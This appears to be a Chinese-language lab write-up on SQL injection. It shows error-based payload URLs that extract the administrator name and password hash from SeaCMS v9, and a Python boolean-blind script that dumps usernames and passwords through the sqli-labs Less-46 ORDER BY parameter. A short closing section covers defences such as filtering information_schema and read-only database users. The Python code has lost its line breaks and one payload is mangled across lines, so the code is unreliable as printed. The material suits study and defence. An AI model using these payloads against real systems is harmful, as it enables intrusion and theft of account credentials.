seacmsv9注入管理员账号密码
安装海洋CMS(seacms)
-
将upload文件夹里的文件全部上传至网页服务器后,执行以下操作:
-
请运行http://域名/install/index.php进行程序安装
SQL语句尝试注入
http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20name%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`
没有效果,抓包后,发现执行的SQL为:
SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment
WHERE m_type=1 AND id in (@`\'`, updatexml(1,concat_ws(0x20,0x5c,(select name from#
sea_admin limit 0,1)),1), @`\'`) ORDER BY id DESC
因为seacms开源,所以seacmsv9系统数据库(mysql)为seacms,存放管理员账号的表为 sea_admin,表中存放管理员姓名的字段为name,存放管理员密码的字段为password
在数据库中执行一下上面的SQL
结果显示为空
将SQL语句修改为查询database()
结果报错出数据库名 “seacms”
查询表 “sea_comment”
发现表为空,很奇怪,所以尝试随便插入几条数据试试
再次执行SQL注入
成功报错出用户名 “admin”
那么密码的注入就和用户名是一样的了
SQL语句:http://127.0.0.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@
%27,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20password%20from%23%0asea_admin%20limit%200,1)),1),%20@
%27``
报错出密码为:f297a57a5a743894a0e4
因为这是由md5加密的,破解得到:admin
绕过ORDER BY 注入(sqlilabs-less46)
用参数sort分别传入id、username
http://127.0.0.1/sqli-labs-master/Less-46/index.php?sort=id
http://127.0.0.1/sqli-labs-master/Less-46/index.php?sort=username
import requests
from bs4 import BeautifulSoupdef get_username(resp):"""从HTML响应中提取用户名。:param resp: HTML响应内容:return: 提取的用户名"""soup = BeautifulSoup(resp, 'html.parser')# 使用CSS选择器提取用户名username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].textreturn usernamedef inject_database_boolen():"""通过布尔盲注技术获取数据库名称。"""tables = ''i = 1while True:left = 32 # ASCII码的最小值right = 127 # ASCII码的最大值mid = (left + right) // 2 # 二分法的中间值# 二分法查找当前字符的ASCII码while left < right:url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "resp = requests.get(url)if 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2# 如果mid等于32,表示已经到达字符串的末尾if mid == 32:break# 将找到的字符拼接到结果中tables += chr(mid)i += 1print(tables)def inject_table_boolen():"""通过布尔盲注技术获取数据库中的表名。"""tables = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from \information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "resp = requests.get(url)if 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breaktables += chr(mid)i += 1print(tables)def inject_column_boolen():"""通过布尔盲注技术获取指定表中的列名。"""tables = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from \information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "resp = requests.get(url)if 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breaktables += chr(mid)i += 1print(tables)def inject_data_boolen():"""通过布尔盲注技术获取指定表中的数据。"""tables = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) \from users),{i},1))>{mid},id,username) -- "resp = requests.get(url)if 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breaktables += chr(mid)i += 1print(tables)if __name__ == '__main__':# 执行数据注入函数inject_data_boolen()
过滤information_schema
在 SQL 注入攻击中,information_schema是攻击者常用的数据库之一,因为它存储了关于数据库、表、列等元数据信息。攻击者可以通过查询information_schema来获取数据库结构,从而进一步实施攻击。
为了防止攻击者利用information_schema,可以采取以下措施来过滤或限制对information_schema的访问:
使用正则表达式
通过正则表达式匹配用户输入,禁止包含information_schema或其他敏感关键字。
使用preg_match函数检查用户输入中是否包含information_schema(不区分大小写);如果包括,则终止程序并返回错误信息。
if (preg_match('/information_schema/i', $orderby)) {die('Invalid input: information_schema is not allowed');
}
限制数据库用户权限
通过限制数据库用户的权限,禁止其对information_schema的访问。
使用REVOKE语句撤销数据库用户对information_schema的查询权限;这样即使攻击者尝试访问information_schema,也会被拒绝。
REVOKE SELECT ON information_schema.* FROM 'your_db_user'@'localhost';
底层代码过滤
在应用程序代码中,对用户输入进行严格的过滤,禁止包含information_schema的关键字。
使用stripos函数检查用户输入中是否包含information_schema;如果包括,则直接终止程序并返回错误信息。
if (stripos($orderby, 'information_schema') !== false) {die('Invalid input: information_schema is not allowed');
}
使用只读用户
为应用程序分配一个只读用户,该用户只能访问特定的数据库和表。
创建一个新的数据库用户app_user,并为其分配对your_database的只读权限;这样即使攻击者成功注入 SQL,也无法访问information_schema或其他数据库。
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'secure_password';
GRANT SELECT ON your_database.* TO 'app_user'@'localhost';